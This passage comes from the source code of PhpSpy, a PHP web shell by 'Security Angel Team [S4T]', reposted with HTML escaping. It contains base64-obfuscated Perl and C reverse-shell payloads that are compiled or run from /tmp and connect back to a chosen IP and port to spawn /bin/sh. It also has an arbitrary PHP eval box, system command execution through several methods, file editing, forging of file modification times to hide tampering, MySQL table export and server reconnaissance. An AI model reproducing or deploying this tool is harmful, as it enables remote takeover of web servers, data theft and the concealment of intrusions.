<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p($b1);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unset($b1);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tbfoot();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p($multipage);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 2:<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ar = mysql_affected_rows();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;h2&gt;affected rows : &lt;b&gt;'.$ar.'&lt;/b&gt;&lt;/h2&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$query = q("SHOW TABLE STATUS");<BR />&nbsp;&nbsp;&nbsp;&nbsp;$table_num = $table_rows = $data_size = 0;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$tabledb = array();<BR />&nbsp;&nbsp;&nbsp;&nbsp;while($table = mysql_fetch_array($query)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data_size = $data_size + $table['Data_length'];<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$table_rows = $table_rows + $table['Rows'];<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$table['Data_length'] = sizecount($table['Data_length']);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$table_num++;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$tabledb[] = $table;<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;$data_size = sizecount($data_size);<BR />&nbsp;&nbsp;&nbsp;&nbsp;unset($table);<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;table border="0" cellpadding="0" cellspacing="0"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;form action="'.$self.'" method="POST"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;makehide('action','sqladmin');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p($dbform);<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="head"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td width="2%" align="center"&gt;&lt;input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /&gt;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Name&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Rows&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Data_length&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Create_time&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Update_time&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;if ($highver) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Engine&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Collation&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;foreach ($tabledb as $key =&gt; $table) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$thisbg = bg();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td align="center" width="2%"&gt;&lt;input type="checkbox" name="table[]" value="'.$table['Name'].'" /&gt;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;&lt;a href="javascript:settable(\''.$table['Name'].'\');"&gt;'.$table['Name'].'&lt;/a&gt; [ &lt;a href="javascript:settable(\''.$table['Name'].'\', \'insert\');"&gt;Insert&lt;/a&gt; | &lt;a href="javascript:settable(\''.$table['Name'].'\', \'structure\');"&gt;Structure&lt;/a&gt; | &lt;a href="javascript:settable(\''.$table['Name'].'\', \'drop\');"&gt;Drop&lt;/a&gt; ]&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$table['Rows'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$table['Data_length'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$table['Create_time'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$table['Update_time'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($highver) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$table['Engine'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$table['Collation'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class='.bg().'&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;&amp;nbsp;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Total tables: '.$table_num.'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$table_rows.'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$data_size.'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td colspan="'.($highver ? 4 : 2).'"&gt;&amp;nbsp;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;p("&lt;tr class=\"".bg()."\"&gt;&lt;td colspan=\"".($highver ? 8 : 6)."\"&gt;&lt;input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /&gt; Save as file &lt;input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /&gt; &lt;input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /&gt;&lt;/td&gt;&lt;/tr&gt;");<BR />&nbsp;&nbsp;&nbsp;&nbsp;makehide('doing','backupmysql');<BR />&nbsp;&nbsp;&nbsp;&nbsp;formfoot();<BR />&nbsp;&nbsp;&nbsp;&nbsp;p("&lt;/table&gt;");<BR />&nbsp;&nbsp;&nbsp;&nbsp;fr($query);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;tbfoot();<BR />&nbsp;@mysql_close();<BR />}//end sql backup</P>
<P><BR />elseif ($action == 'backconnect') {<BR />&nbsp;!$yourip &amp;&amp; $yourip = $_SERVER['REMOTE_ADDR'];<BR />&nbsp;!$yourport &amp;&amp; $yourport = '12345';<BR />&nbsp;$usedb = array('perl'=&gt;'perl','c'=&gt;'c');</P>
<P>&nbsp;$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".<BR />&nbsp;&nbsp;"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".<BR />&nbsp;&nbsp;"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".<BR />&nbsp;&nbsp;"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".<BR />&nbsp;&nbsp;"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".<BR />&nbsp;&nbsp;"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".<BR />&nbsp;&nbsp;"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";<BR />&nbsp;$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".<BR />&nbsp;&nbsp;"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".<BR />&nbsp;&nbsp;"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".<BR />&nbsp;&nbsp;"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".<BR />&nbsp;&nbsp;"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".<BR />&nbsp;&nbsp;"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".<BR />&nbsp;&nbsp;"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".<BR />&nbsp;&nbsp;"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";</P>
<P>&nbsp;if ($start &amp;&amp; $yourip &amp;&amp; $yourport &amp;&amp; $use){<BR />&nbsp;&nbsp;if ($use == 'perl') {<BR />&nbsp;&nbsp;&nbsp;cf('/tmp/angel_bc',$back_connect);<BR />&nbsp;&nbsp;&nbsp;$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &amp;");<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;cf('/tmp/angel_bc.c',$back_connect_c);<BR />&nbsp;&nbsp;&nbsp;$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');<BR />&nbsp;&nbsp;&nbsp;@unlink('/tmp/angel_bc.c');<BR />&nbsp;&nbsp;&nbsp;$res = execute("/tmp/angel_bc $yourip $yourport &amp;");<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;m("Now script try connect to $yourip port $yourport ...");<BR />&nbsp;}</P>
<P>&nbsp;formhead(array('title'=&gt;'Back Connect'));<BR />&nbsp;makehide('action','backconnect');<BR />&nbsp;p('&lt;p&gt;');<BR />&nbsp;p('Your IP:');<BR />&nbsp;makeinput(array('name'=&gt;'yourip','size'=&gt;20,'value'=&gt;$yourip));<BR />&nbsp;p('Your Port:');<BR />&nbsp;makeinput(array('name'=&gt;'yourport','size'=&gt;15,'value'=&gt;$yourport));<BR />&nbsp;p('Use:');<BR />&nbsp;makeselect(array('name'=&gt;'use','option'=&gt;$usedb,'selected'=&gt;$use));<BR />&nbsp;makeinput(array('name'=&gt;'start','value'=&gt;'Start','type'=&gt;'submit','class'=&gt;'bt'));<BR />&nbsp;p('&lt;/p&gt;');<BR />&nbsp;formfoot();<BR />}//end sql backup</P>
<P>elseif ($action == 'eval') {<BR />&nbsp;$phpcode = trim($phpcode);<BR />&nbsp;if($phpcode){<BR />&nbsp;&nbsp;if (!preg_match('#&lt;\?#si', $phpcode)) {<BR />&nbsp;&nbsp;&nbsp;$phpcode = "&lt;?php\n\n{$phpcode}\n\n?&gt;";<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;eval("?"."&gt;$phpcode&lt;?");<BR />&nbsp;}<BR />&nbsp;formhead(array('title'=&gt;'Eval PHP Code'));<BR />&nbsp;makehide('action','eval');<BR />&nbsp;maketext(array('title'=&gt;'PHP Code','name'=&gt;'phpcode', 'value'=&gt;$phpcode));<BR />&nbsp;p('&lt;p&gt;&lt;a href="<A href="http://www.4ngel.net/phpspy/plugin/">http://www.4ngel.net/phpspy/plugin/</A>" target="_blank"&gt;Get plugins&lt;/a&gt;&lt;/p&gt;');<BR />&nbsp;formfooter();<BR />}//end eval</P>
<P>elseif ($action == 'editfile') {<BR />&nbsp;if(file_exists($opfile)) {<BR />&nbsp;&nbsp;<A href="mailto:$fp=@fopen($opfile,'r'">$fp=@fopen($opfile,'r'</A>);<BR />&nbsp;&nbsp;<A href="mailto:$contents=@fread($fp">$contents=@fread($fp</A>, filesize($opfile));<BR />&nbsp;&nbsp;@fclose($fp);<BR />&nbsp;&nbsp;$contents=htmlspecialchars($contents);<BR />&nbsp;}<BR />&nbsp;formhead(array('title'=&gt;'Create / Edit File'));<BR />&nbsp;makehide('action','file');<BR />&nbsp;makehide('dir',$nowpath);<BR />&nbsp;makeinput(array('title'=&gt;'Current File (import new file name and new file)','name'=&gt;'editfilename','value'=&gt;$opfile,'newline'=&gt;1));<BR />&nbsp;maketext(array('title'=&gt;'File Content','name'=&gt;'filecontent','value'=&gt;$contents));<BR />&nbsp;formfooter();<BR />}//end editfile</P>
<P>elseif ($action == 'newtime') {<BR />&nbsp;$opfilemtime = @filemtime($opfile);<BR />&nbsp;//$time = strtotime("$year-$month-$day $hour:$minute:$second");<BR />&nbsp;$cachemonth = array('January'=&gt;1,'February'=&gt;2,'March'=&gt;3,'April'=&gt;4,'May'=&gt;5,'June'=&gt;6,'July'=&gt;7,'August'=&gt;8,'September'=&gt;9,'October'=&gt;10,'November'=&gt;11,'December'=&gt;12);<BR />&nbsp;formhead(array('title'=&gt;'Clone file was last modified time'));<BR />&nbsp;makehide('action','file');<BR />&nbsp;makehide('dir',$nowpath);<BR />&nbsp;makeinput(array('title'=&gt;'Alter file','name'=&gt;'curfile','value'=&gt;$opfile,'size'=&gt;120,'newline'=&gt;1));<BR />&nbsp;makeinput(array('title'=&gt;'Reference file (fullpath)','name'=&gt;'tarfile','size'=&gt;120,'newline'=&gt;1));<BR />&nbsp;formfooter();<BR />&nbsp;formhead(array('title'=&gt;'Set last modified'));<BR />&nbsp;makehide('action','file');<BR />&nbsp;makehide('dir',$nowpath);<BR />&nbsp;makeinput(array('title'=&gt;'Current file (fullpath)','name'=&gt;'curfile','value'=&gt;$opfile,'size'=&gt;120,'newline'=&gt;1));<BR />&nbsp;p('&lt;p&gt;Instead &amp;raquo;');<BR />&nbsp;p('year:');<BR />&nbsp;makeinput(array('name'=&gt;'year','value'=&gt;date('Y',$opfilemtime),'size'=&gt;4));<BR />&nbsp;p('month:');<BR />&nbsp;makeinput(array('name'=&gt;'month','value'=&gt;date('m',$opfilemtime),'size'=&gt;2));<BR />&nbsp;p('day:');<BR />&nbsp;makeinput(array('name'=&gt;'day','value'=&gt;date('d',$opfilemtime),'size'=&gt;2));<BR />&nbsp;p('hour:');<BR />&nbsp;makeinput(array('name'=&gt;'hour','value'=&gt;date('H',$opfilemtime),'size'=&gt;2));<BR />&nbsp;p('minute:');<BR />&nbsp;makeinput(array('name'=&gt;'minute','value'=&gt;date('i',$opfilemtime),'size'=&gt;2));<BR />&nbsp;p('second:');<BR />&nbsp;makeinput(array('name'=&gt;'second','value'=&gt;date('s',$opfilemtime),'size'=&gt;2));<BR />&nbsp;p('&lt;/p&gt;');<BR />&nbsp;formfooter();<BR />}//end newtime</P>
<P>elseif ($action == 'shell') {<BR />&nbsp;if (IS_WIN &amp;&amp; IS_COM) {<BR />&nbsp;&nbsp;if($program &amp;&amp; $parameter) {<BR />&nbsp;&nbsp;&nbsp;$shell= new COM('Shell.Application');<BR />&nbsp;&nbsp;&nbsp;$a = $shell-&gt;ShellExecute($program,$parameter);<BR />&nbsp;&nbsp;&nbsp;m('Program run has '.(!$a ? 'success' : 'fail'));<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;!$program &amp;&amp; $program = 'c:\windows\system32\cmd.exe';<BR />&nbsp;&nbsp;!$parameter &amp;&amp; $parameter = '/c net start &gt; '.SA_ROOT.'log.txt';<BR />&nbsp;&nbsp;formhead(array('title'=&gt;'Execute Program'));<BR />&nbsp;&nbsp;makehide('action','shell');<BR />&nbsp;&nbsp;makeinput(array('title'=&gt;'Program','name'=&gt;'program','value'=&gt;$program,'newline'=&gt;1));<BR />&nbsp;&nbsp;p('&lt;p&gt;');<BR />&nbsp;&nbsp;makeinput(array('title'=&gt;'Parameter','name'=&gt;'parameter','value'=&gt;$parameter));<BR />&nbsp;&nbsp;makeinput(array('name'=&gt;'submit','class'=&gt;'bt','type'=&gt;'submit','value'=&gt;'Execute'));<BR />&nbsp;&nbsp;p('&lt;/p&gt;');<BR />&nbsp;&nbsp;formfoot();<BR />&nbsp;}<BR />&nbsp;formhead(array('title'=&gt;'Execute Command'));<BR />&nbsp;makehide('action','shell');<BR />&nbsp;if (IS_WIN &amp;&amp; IS_COM) {<BR />&nbsp;&nbsp;$execfuncdb = array('phpfunc'=&gt;'phpfunc','wscript'=&gt;'wscript','proc_open'=&gt;'proc_open');<BR />&nbsp;&nbsp;makeselect(array('title'=&gt;'Use:','name'=&gt;'execfunc','option'=&gt;$execfuncdb,'selected'=&gt;$execfunc,'newline'=&gt;1));<BR />&nbsp;}<BR />&nbsp;p('&lt;p&gt;');<BR />&nbsp;makeinput(array('title'=&gt;'Command','name'=&gt;'command','value'=&gt;$command));<BR />&nbsp;makeinput(array('name'=&gt;'submit','class'=&gt;'bt','type'=&gt;'submit','value'=&gt;'Execute'));<BR />&nbsp;p('&lt;/p&gt;');<BR />&nbsp;formfoot();</P>
<P>&nbsp;if ($command) {<BR />&nbsp;&nbsp;p('&lt;hr width="100%" noshade /&gt;&lt;pre&gt;');<BR />&nbsp;&nbsp;if ($execfunc=='wscript' &amp;&amp; IS_WIN &amp;&amp; IS_COM) {<BR />&nbsp;&nbsp;&nbsp;$wsh = new COM('WScript.shell');<BR />&nbsp;&nbsp;&nbsp;$exec = $wsh-&gt;exec('cmd.exe /c '.$command);<BR />&nbsp;&nbsp;&nbsp;$stdout = $exec-&gt;StdOut();<BR />&nbsp;&nbsp;&nbsp;$stroutput = $stdout-&gt;ReadAll();<BR />&nbsp;&nbsp;&nbsp;echo $stroutput;<BR />&nbsp;&nbsp;} elseif ($execfunc=='proc_open' &amp;&amp; IS_WIN &amp;&amp; IS_COM) {<BR />&nbsp;&nbsp;&nbsp;$descriptorspec = array(<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 =&gt; array('pipe', 'r'),<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 =&gt; array('pipe', 'w'),<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 =&gt; array('pipe', 'w')<BR />&nbsp;&nbsp;&nbsp;);<BR />&nbsp;&nbsp;&nbsp;$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);<BR />&nbsp;&nbsp;&nbsp;if (is_resource($process)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;fwrite($pipes[0], $command."\r\n");<BR />&nbsp;&nbsp;&nbsp;&nbsp;fwrite($pipes[0], "exit\r\n");<BR />&nbsp;&nbsp;&nbsp;&nbsp;fclose($pipes[0]);<BR />&nbsp;&nbsp;&nbsp;&nbsp;while (!feof($pipes[1])) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo fgets($pipes[1], 1024);<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;fclose($pipes[1]);<BR />&nbsp;&nbsp;&nbsp;&nbsp;while (!feof($pipes[2])) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo fgets($pipes[2], 1024);<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;fclose($pipes[2]);<BR />&nbsp;&nbsp;&nbsp;&nbsp;proc_close($process);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;echo(execute($command));<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;p('&lt;/pre&gt;');<BR />&nbsp;}<BR />}//end shell</P>
<P>elseif ($action == 'phpenv') {<BR />&nbsp;$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';<BR />&nbsp;$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');<BR />&nbsp;!$dis_func &amp;&amp; $dis_func = 'No';&nbsp;<BR />&nbsp;$info = array(<BR />&nbsp;&nbsp;1 =&gt; array('Server Time',date('Y/m/d h:i:s',$timestamp)),<BR />&nbsp;&nbsp;2 =&gt; array('Server Domain',$_SERVER['SERVER_NAME']),<BR />&nbsp;&nbsp;3 =&gt; array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),<BR />&nbsp;&nbsp;4 =&gt; array('Server OS',PHP_OS),<BR />&nbsp;&nbsp;5 =&gt; array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),<BR />&nbsp;&nbsp;6 =&gt; array('Server Software',$_SERVER['SERVER_SOFTWARE']),<BR />&nbsp;&nbsp;7 =&gt; array('Server Web Port',$_SERVER['SERVER_PORT']),<BR />&nbsp;&nbsp;8 =&gt; array('PHP run mode',strtoupper(php_sapi_name())),<BR />&nbsp;&nbsp;9 =&gt; array('The file path',__FILE__),</P>
<P>&nbsp;&nbsp;10 =&gt; array('PHP Version',PHP_VERSION),<BR />&nbsp;&nbsp;11 =&gt; array('PHPINFO',(IS_PHPINFO ? '&lt;a href="javascript:goaction(\'phpinfo\');"&gt;Yes&lt;/a&gt;' : 'No')),<BR />&nbsp;&nbsp;12 =&gt; array('Safe Mode',getcfg('safe_mode')),<BR />&nbsp;&nbsp;13 =&gt; array('Administrator',$adminmail),<BR />&nbsp;&nbsp;14 =&gt; array('allow_url_fopen',getcfg('allow_url_fopen')),<BR />&nbsp;&nbsp;15 =&gt; array('enable_dl',getcfg('enable_dl')),<BR />&nbsp;&nbsp;16 =&gt; array('display_errors',getcfg('display_errors')),<BR />&nbsp;&nbsp;17 =&gt; array('register_globals',getcfg('register_globals')),<BR />&nbsp;&nbsp;18 =&gt; array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),<BR />&nbsp;&nbsp;19 =&gt; array('memory_limit',getcfg('memory_limit')),<BR />&nbsp;&nbsp;20 =&gt; array('post_max_size',getcfg('post_max_size')),<BR />&nbsp;&nbsp;21 =&gt; array('upload_max_filesize',$upsize),<BR />&nbsp;&nbsp;22 =&gt; array('max_execution_time',getcfg('max_execution_time').' second(s)'),<BR />&nbsp;&nbsp;23 =&gt; array('disable_functions',$dis_func),<BR />&nbsp;);</P>
<P>&nbsp;if($phpvarname) {<BR />&nbsp;&nbsp;m($phpvarname .' : '.getcfg($phpvarname));<BR />&nbsp;}</P>
<P>&nbsp;formhead(array('title'=&gt;'Server environment'));<BR />&nbsp;makehide('action','phpenv');<BR />&nbsp;makeinput(array('title'=&gt;'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=&gt;'phpvarname','value'=&gt;$phpvarname,'newline'=&gt;1));<BR />&nbsp;formfooter();</P>
<P>&nbsp;$hp = array(0=&gt; 'Server', 1=&gt; 'PHP');<BR />&nbsp;for($a=0;$a&lt;2;$a++) {<BR />&nbsp;&nbsp;p('&lt;h2&gt;'.$hp[$a].' &amp;raquo;&lt;/h2&gt;');<BR />&nbsp;&nbsp;p('&lt;ul class="info"&gt;');<BR />&nbsp;&nbsp;if ($a==0) {<BR />&nbsp;&nbsp;&nbsp;for($i=1;$i&lt;=9;$i++) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;li&gt;&lt;u&gt;'.$info[$i][0].':&lt;/u&gt;'.$info[$i][1].'&lt;/li&gt;');<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;} elseif ($a == 1) {<BR />&nbsp;&nbsp;&nbsp;for($i=10;$i&lt;=23;$i++) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;li&gt;&lt;u&gt;'.$info[$i][0].':&lt;/u&gt;'.$info[$i][1].'&lt;/li&gt;');<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;p('&lt;/ul&gt;');<BR />&nbsp;}<BR />}//end phpenv</P>
<P>else {<BR />&nbsp;m('Undefined Action');<BR />}</P>
<P>?&gt;<BR />&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<BR />&lt;div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"&gt;<BR />&nbsp;&lt;span style="float:right;"&gt;&lt;?php debuginfo();ob_end_flush();?&gt;&lt;/span&gt;<BR />&nbsp;Copyright (C) 2004-2008 &lt;a href="<A href="http://www.4ngel.net/">http://www.4ngel.net</A>" target="_blank"&gt;Security Angel Team [S4T]&lt;/a&gt; All Rights Reserved.<BR />&lt;/div&gt;<BR />&lt;/body&gt;<BR />&lt;/html&gt;</P>
<P>&lt;?php</P>
<P>/*======================================================<BR />函数库<BR />======================================================*/</P>
<P>function m($msg) {<BR />&nbsp;echo '&lt;div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;"&gt;';<BR />&nbsp;echo $msg;<BR />&nbsp;echo '&lt;/div&gt;';<BR />}<BR />function scookie($key, $value, $life = 0, $prefix = 1) {<BR />&nbsp;global $admin, $timestamp, $_SERVER;<BR />&nbsp;$key = ($prefix ? $admin['cookiepre'] : '').$key;<BR />&nbsp;$life = $life ? $life : $admin['cookielife'];<BR />&nbsp;$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;<BR />&nbsp;setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);<BR />}&nbsp;<BR />function multi($num, $perpage, $curpage, $tablename) {<BR />&nbsp;$multipage = '';<BR />&nbsp;if($num &gt; $perpage) {<BR />&nbsp;&nbsp;$page = 10;<BR />&nbsp;&nbsp;$offset = 5;<BR />&nbsp;&nbsp;$pages = @ceil($num / $perpage);<BR />&nbsp;&nbsp;if($page &gt; $pages) {<BR />&nbsp;&nbsp;&nbsp;$from = 1;<BR />&nbsp;&nbsp;&nbsp;$to = $pages;<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;$from = $curpage - $offset;<BR />&nbsp;&nbsp;&nbsp;$to = $curpage + $page - $offset - 1;<BR />&nbsp;&nbsp;&nbsp;if($from &lt; 1) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$to = $curpage + 1 - $from;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$from = 1;<BR />&nbsp;&nbsp;&nbsp;&nbsp;if(($to - $from) &lt; $page &amp;&amp; ($to - $from) &lt; $pages) {<BR 